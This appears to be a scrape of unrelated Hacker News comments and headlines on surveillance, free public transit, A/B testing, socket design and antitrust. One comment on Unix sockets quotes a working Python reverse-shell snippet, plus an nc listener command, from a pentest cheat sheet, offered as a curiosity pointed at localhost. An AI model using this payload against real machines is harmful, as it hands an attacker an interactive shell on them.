skysight-inc/HackerNews huggingface dataset:
It think the 'direct access' issue is an irrelevant distraction for most of the Guardian's readers since NSA don't need any kind of warrant to access the data of non-US persons. For non-US users what is the meaningful difference between 'direct access' and a system that just approves every NSA request?

I would ask: how many requests for data on non-US persons has Google denied? They want to give the impression that they fight requests on behalf of their users, but I have trouble imagining how that would actually work. In my mind it goes more like this:

NSA> We need all the emails for the non-US user of account jihadi_joe@gmail.com

Google> We can see that user has a non-US IP but what evidence do you have against that user?

NSA> That is classified. Hand over the data.

Google> Okily-dokily.
Public transit is needed by all who commute in dense areas (like the Bay Area). If you had everyone on the road, it would be a 24/7 parkinglot. A robust public transit option would further help to alleviate driving-only traffic.
But again, NeXTSTEP was not his product, the entire machine was.

So while part of the NeXT Cube or Pizza Box that were his products live on in today's Macs and iOS devices, nobody except "those rare geologists" is still using those workstations that were the result of his work.
I would like to offer up a cross-browser visibility bug. The text in this article is unreadable across all browsers and systems.
Article is about costs, not ridership.

What NTA determined is that not collecting fares is less expensive, more efficient. Meaning, it costs more money to collect fares than not.

In my area, fares have never covered the costs of buses. Or ferries.
Interesting headline on the HN post. Joanna and I at Copy Hackers respectfully disagree. A properly-designed split test will ALWAYS produce a result -- you'll generate negative, positive, or neutral lift. And no matter what type of lift you achieve, you can ALWAYS learn from the test.

We just concluded an 11-site split test where we changed nothing but the home page headline -- written as a value proposition -- and we produced 9 of 11 "winning" tests, with an average conversion increase of 34% on the primary KPI (and the 34% includes the "losing" tests).

Bottom line is (from our many years of testing copy)... you have to change meaningful things to create conversion lift. And "meaningful" means in the eyes of your visitors.
ShowKit sets out to disrupt the Video Conferencing Space
The hostility between christians and deists
Interactive Census Data
If they can discharge student debt on bankruptcy, wouldn't that just normalize the process of: 1. take on loans 2. go to college 3. declare bankruptcy 4. enter jobs market?

Or are we counting employers continuing/extending their discrimination against candidates with 'bad credit' ? And would that hold up in a tighter jobs market?
Use These 3 Value Proposition Hacks at Your Own Risk
How about Fahrenheit 451 or We? Almost every dystopian novel shares something with the world.
That's clever. Coming from Apache I was disappointed not to see something equivalent to: a2ensite (site)
With megapipe, would you still be able to write an event loop that operates on their lwsocket and regular file descriptors from pipes? If not that would complicate many applications.

The fact that I/O is unified under file descriptors is a great abstraction and one of the key design points of Unix, although DJB makes a good point that there should have been two file descriptors for sockets: http://cr.yp.to/tcpip/twofd.html

I ran into a pretty neat usage of sockets as files the other day (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-ch...)

However I am not exactly sure how this code works, but try it:

$ nc -l 127.0.0.1 1234

then:

#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

If someone can explain why exactly this works I'm interested. I mean I sort of get it but I am not sure how the socket descriptors can get mapped to stderr, stdout, stdin and everything works.
Thanks (founder here). No trivializing intended! We have a lot of very talented editors on Videopixie, and we're constantly impressed by their work. We frequently get their input on pricing, and we adjust. Being a marketplace, the theory is that the market will find the fair market price.
P: Safe Asynchronous Event-Driven Programming
But the comment was talking about the previous entries of the RSS feed. For example, if I subscribe to some feed today, do I see entries published in the past? Like for example one year ago. If yes, how it is achieved?

Because in the Google Reader, when you subscribed to some blog feed, you could usually see the list of all articles published since the creation of that blog.
Exactly. The human rights argument is the morally correct one, but the economic-benefit argument is what's going to convince more people in the long run.
Making transit free isn't going to solve homelessness. Also, plenty of people still ride transit even if someone they dislike is on said transit because they depend on that transit, unpleasant ride or not.
Why would you think I'm chastising rather than educating?

You're reading snark where none was intended, and responding in kind.

Double negatives are a problem when you're actually trying to use a single negative which is the case here.

I wasn't offering myself up as an authority on words, I'm pretty bad at both spelling and grammar.

Also, as a Brit living in the US I'm also well aware of different uses of words/spellings and agree that the point of language is communication, and irregardless doesn't cause confusion, as it is obvious what someone means when they use the word.

The whole point of prefacing my comment with, "I hate to be that guy", was to suggest that I'm not actually that guy to soften any perceived insult/criticism.
Doesn't eliminate the non-trivial cost of enforcing access control, which is a major part of the point.
I tried to switch back to Google because it didn't feel the same to a part of my brain, even though I didn't feel search result quality was an issue. So I changed keyword.url(firefox) to duckduckgo. It doesn't feel that bad now, and when I feel I am missing out I visit google.com manually.

Google has great results, and even with the current fiasco, I do trust google somewhat. But we don't have good alternatives to Google and bing, which isn't a good thing. So I am trying to help ddg out by using their service.
All right, a lot of people have commented about bad experiences with free transportation. I had a good one about free buses: I lived for a couple years in the north of France in Compiegne (where the ww2 armistice was signed). Buses were free, clean of homeless people, and very enjoyed by the student population.
The line was not running at night, and Sundays and holidays the fare was 1 euro (pretty damn cheap).

Compiegne is also a fairly rich middle-sized town, so the cases are different, but it's just to give an example of a place where it was successfully implemented.
Visiting an NHS hospital is no different than sending your kids to a public (state) school - the NHS is used by almost everyone, it's not Medicaid.

Food stamps are demeaning because they send the message that those receiving them cannot be trusted to choose how to spend that money wisely. They deny any flexibility to recipients, what if you need to buy new shoes for your kid one week?
If only humans were utterly rational computer-like beings that you just had to tell a truth once, and they'd never forget it, and always perfectly apply it when it was relevant..
The DuckDuckBot in my logs would beg to differ with you
Whatever the merits of the argument, that's obviously not it.

A bus full of people commuting to jobs is getting more use than a bus a quarter full of rank homeless men with lice dropping off of them and otherwise empty because no one wants to be near them.

I would argue, though, that a bigger problem is that prices don't wholly fix even that problem. Evidence: a casual ride on the non-free San Francisco area BART, which is full of homeless people who ride it all non-peak hours because it's more comfortable than sitting on the sidewalk.

When I've been in Asian or European cities, that's simply not an issue.
The "Never" isn't literal in the original razor.
I think this can be said of basically any old interview of any celebrity.
This matters in so few applications, and they already have alternatives (mostly message queue systems). Bulk data transfer is rarely operationally time-sensitive. To justify bothering investing time to investigate this, maybe we could see some benchmarks versus popular MQ solutions and traditional sockets for different messaging scenarios. Also factor in the various TCP optimizations, etc. (Actually, something like this should exist anyway... it would be a great resource.)
Hacking The Ultimatum Game
Zuckerberg Tours Samsung: Is a Facebook Phone Coming?
What does that mean about pay service? Is that now free? Am I missing the distinction between what's on the linked page and the normal webapp monitoring service?
Why is that?

I don't see how expanding their service offering is a bad thing? Surely that expensive contract would have yielded more value than before, given that you use any of the supported applications. If not, you would not be worse of than before?
The work of a lifetime is paradoxical like that. It is very rare that someone achieves something truly memorable when they set permanence as their primary goal.
Can New Relic-Heroku users use plugins or is it limited only to New Relic only users?
Here in the Faroes (at least in the capital), we have the best of both worlds. Free, and plenty of space.

In 2007, the fare for municipal busses was removes, and at the same time, more frequent trips were introduced (by 50% at day time).

The routes and schedule are managed by the City Council, the operated by the lowest bidding bus company.

So far, it has been successfull, but it had a bit of a bumpy start. The sudden increase in demand for busses, meant that there weren't enough busses to go around and some cheap, old ones were used. But the success has meant that there was a business case to upgrade the busses.

It's payed by tax payers via the Council. The Council is funded via income tax, currently at around 20%.

http://www.torshavn.fo/Default.aspx?pageid=822
I challenge you to a game where you are X then. Because I can't figure out how you force a win like that.
According to the US antitrust laws, Microsoft was found to be a monopoly that abused its power contrary to the Sherman Antitrust Act. In that lawsuit Microsoft's position as a monopoly was barely questioned, the lawsuit being about whether or not Microsoft abused its monopoly.

https://en.wikipedia.org/wiki/United_States_v._Microsoft_Cor...

The definition of a monopoly is of course, an entity that lacks economic competition. Having 90% of a market qualifies.
> Mass transit is more efficient in a variety of ways compared to cars, esp. on cost per rider and utility cost of infrastructure per rider.

Agreed, but the question is whether people would be more wasteful with 100% free buses, taking more trips and negating that benefit.

> lot of these existing systems were dismantled in favor of expanded roadways and bus systems.

Sorry, I don't have the citations right now, but much has been written about cities especially in Latin America where new subway systems were built that showed a strong negative impact on efficiency and expenses.

> ... uses can displace a certain amount of cars on the road for a population they are more environmentally friendly ...

All I'm saying is that we have to be careful with subsidies. Subsidies are MONEY and as a general rule spending more money causes more energy use and waste. Saying "We'll save energy by spending money" is always a tenuous argument that needs to made with care.
Tell me about your experience with Parse, Meteor, etc.
But with Reader, I could subscribe to a RSS feed and see the posts from 5 years ago, before I even knew the site existed. THAT's what I miss about Google Reader - not the reader itself, but the archive of data it provided. (I've since switched to NewsBlur)
The response from the accused bloke - http://blog.gont.com.ar/2013/06/lies-nuts-and-quest-for-atte...
See, for instance, Table 2.10 of the latest federal Transportation Energy Data Book (page 2-14) showing that, to transport one passenger one mile, cars are using less energy than buses.

http://cta.ornl.gov/data/tedb31/Edition31_Chapter02.pdf

My own analysis of my local (mid-sized city) transit data from the National Transit Database, using actual gallons of fuel spent, and comparing CO2 emissions of the average passenger car, the buses are net adding CO2 to the environment. Indeed, hybrid buses are barely more efficient than traditional diesel buses.

The issue isn't full buses, it's the very large number of empty buses that continue to run on non-peak hours on fixed routes.

This is why I'm so optimistic about driverless cars. I think it will obviate the need for public transit because we won't be stuck with inefficient fixed route and fixed schedule service.
Everyone loves something for free!
I've actually had your article bookmarked for some time. I got it from the nginx wiki page at http://wiki.nginx.org/Configuration.

I was more surprised than depressed about the upvotes for the current article. It really makes me wonder if the technical level of the audience here hasn't declined substantially. The current article is well written but it's aimed at a "Dummies" rather than developer level.
'Responsible disclosure' is probably one of the worst things to happen to the cyber-security industry, and the $100K carrot-on-a-stick is only going to make it worse.

Selling exploits to customers who don't intend on fixing the exploit (buying a hacker's silence) is exactly the nightmare that came to light regarding MS releasing exploit information to NSA prior to releasing publicly-available bugfixes, and these kinds of monetary incentives to the security community will only make things worse.

Read more: https://www.eff.org/deeplinks/2012/03/zero-day-exploit-sales...

These exploits are effectively high-tech weaponry and they should be treated similarly.
I'm one of the many here who agrees with the article, but I came to this comment section mainly to figure out why someone might disagree. So thank you.

That said I do have a few nitpicks here:

> Luckily however, we have a way to tell which is more efficient: The free market!

I'm not going to argue this point, as I'm uninterested and others have taken up that torch. Still, it's worth pointing out that it's not self-evident that A) A free market can exist for transportation, or B) That the free market equilibrium would be a desirable situation for anyone in this case.

> If you just make the buses free, people may take more roundabout trips to get to where they need to go, just to be able to make use of the free bus, causing inefficiency and waste.

This one I don't understand at all. A la carte public transportation is the one that encourages roundabout routes, because they often cause travelers to pay multiple fares. All-you-can-eat public transportation encourages planners to serve customers as efficiently as possible, as opposed to making each route as efficient as possible.

> it can have a multitude of unexpected consequences.

I agree that this is true, but why would we assume that these consequences would be bad enough to offset the consequences we know about? Why would we assume that, on the balance, these unexpected consequences would be bad rather than good?
Personal Rapid Transit and Masdar City PRT
That could explain Sleepycat, but not Innobase which was platform-specific to MySQL
I guess I got a little ahead of myself. In my comment, I was referring more to the near future than to the present. I think you're correct--until this becomes common and has undergone a few rounds of revisions, the numbers I gave are not in line with the current situation.

I still maintain the numbers as a likely reality in the near future. Once drones become common, they will be much cheaper than helicopters. If there are facts I'm missing in that assessment, I'd love to hear them.

Thanks for sharing the AMA--checking it out now!
We don't need to encourage people who depend on the bus to ride it, because they depend on it. We need to encourage people who are otherwise riding cars to ride the bus.

Sometimes the strategy for that is to make driving cars suck, but that is a political loser before it even starts.
AP CEO Says Government Sources Won't Talk After Justice Department Probe
Charge a 1% fee for all businesses along the routes. Issue passes that be acquired at designated centers; schools, transit offices, and the like; to anyone with an ID.

Tag the IDs to see how they are used, do not tie them to an individual. The IDs tags would also be detectable by the bus/subway/train and could alert authorities to those who are merely camping out.

I can see more benefits to a free mass transit system than negatives. The boon to businesses along the line should be measurable, especially food businesses. Think about it, if the service was timely, clean, and free, going to lunch or shopping at any time would be a no brainer.

The transit issued IDs simply give a means to track usage and abuse - the staying on the transport too long. Sell ads on the passes, the buses, the whole line.
AngularJS + TypeScript = A rich, maintainable webapp plus a few minor headaches
Agreed there - maybe a possible option would be to flag a specific port as being non-BSD sockets? So when the kernel reads the port, some short circuit logic could trigger and dump out to a different socket implementation? That would allow legacy to run fine, and then let apps trigger a special flag when binding a socket to allow for direct access. The routing part of tcp/ip happens before BSD sockets are hit, so this should do an end-run around the BSD socket overhead.

Then you could have your system running as normal, but allowing your http server special access to network i/o. Any kernel hackers around who can comment?
Fahrenheit 451 is primarily about censorship of information, although government surveillance plays a small part.
As far as I can tell it is an addition to the normal monitoring? I can download the plugins via their standard dashboard.
> No company have ever increased the revenue by changing an insignificant detail like a button color. None. Zero. Get over it.

I'm sensitive to hyperbole, and I know he later refines his statement, but this is not true. Google Ads change what seem to be insignificant details by tiny amounts all the time (luminance on links, vertical space below the search bar, padding around sitelinks) and derive significant revenue changes.

I think one issue is that most sites' A/B tests results are difficult to distinguish from noise while Google has what you might call a significant user base.
> "This is not a field where one paints a painting which will be looked at for centuries...This is a field where one does his work and in ten years it is obsolete."

master of the obvious.
The free ride area also had major consequences for outbound buses during peak hours. If a bus started in downtown and went elsewhere, riders had to pay as they left the bus. Seattle still doesn't allow you to pay at any door on a bus, only at the front with the driver. A crowded bus meant people could not easily get to the front; either the bus sat while people squeezed down the length of the bus, or they simply got off at the rear and didn't pay.

An alternative solution, of course, is to incentivize use of RFID bus passes (already in heavy use), install RFID readers at all doors, and speed up boarding all-around.
No, I don't just assume everyone who disagrees with me on politics is automatically insulting. I assume that people who insult me are automatically insulting.

I realize you don't know what I'm talking about. You're so out of touch that you can't even see how brash and irritating you're being here.

Don't accuse me of ignoring the Constitution sometimes and leaning on it other times when you don't even know what my positions are. Especially don't accuse me of that, then say you don't feel like defending the position. Don't accuse me of having "no fundamental ideas to point to" when you don't even know what my positions are.

If you don't understand what's wrong with stating "Liberals and conservatives do not support individual freedom, so they have no fundamental ideas to point to", then you're a lost cause. You don't understand others, you don't want to, and because of that, you're going to have zero success in arguing for your ideas.

Do you actually want to convince other people of the merits of your views? If so, you need to change your tactics, big-time. If not, well, the internet has plenty of room for argumentative jerks.
I live in a city where this has recently been implemented. In Tallinn, population 400K, public transportation is free since January 2013, for all residents (not tourists or people living in other cities). You need to have a valid ID and a valid RFID card that is connected with your ID.

I see a lot of people in this thread state unjustified assumptions as if they are proven facts. I'll try and comment on a few of these, judging from my experience with how things transpired here.

* This will make it a shelter for the homeless *

There have always been homeless people on the busses, and I didn't notice a markedly increase. The fact that you still need a legitimate ID card and a fare card might help this point.

* This will multiply users of the buses, and lead to frustration and long queue lines *

Utilisation of public transportation increased by 15% since becoming free. I noticed somewhat more people, but nothing annoyingly so. On the other hand, the main goal as I could see was to get cars off the road. A drop in traffic of 14% was observed.

Because this is a low-wage country, the €12 million in lost revenue this cost is quite low in absolute terms, compared to what it would be in more western, bigger cities, but it's still a large chunk of money relative to GDP here. Due to the requirement that you need to be a resident of this city, 10000 more people have "migrated" to Tallinn from other cities, now paying taxes here, and adding a predicted €9 million in tax revenue for Tallinn.

Personally I love it of course. I use it in ways that others might deem "uneconomically" i.e. take the tram for 2 stops instead of walking 15 minutes, but I also notice I travel further distance more often, exploring the city, because I don't feel annoyed with having to either find parking space, or pay a taxi, or pay a bus fare.
Public spaces, aka the commons, is where all of society's problems manifest.

Homeless people sleeping on buses is caused by, wait for it, homelessness. Not free buses.

Sex workers turning tricks in public bathrooms is caused by, wait for it, prostitution being illegal.

Crazy stinky people accosting people in public are caused by, wait for it, kicking mentally ill people to curb to fend for themselves.

Freeride zones and public toilets are currently impractical. Because they're being sabotaged by larger issues. But they're still good ideas, both empirically and morally.
How are they victimized through hire subsidy programs? I hadn't heard of that. Do you mean that because of the program people around them at their jobs know they're ex-cons and treat them worse?
No. No it is not. Not even remotely close. Road maintenance (at least in the United States and most of Western Europe), is overwhelmingly paid for by property taxes.
You're talking about government-granted monopolies. Those aren't the only monopolies around - there are also:

1) natural monopolies: http://en.wikipedia.org/wiki/Natural_monopoly

2) monopolies (or oligopolies) that happen due to anti-competitive strategies, such as controlling supply and demand through price fixing: http://en.wikipedia.org/wiki/Price_fixing
New Relic SaaS Platform Launch With Railsware Extensions Included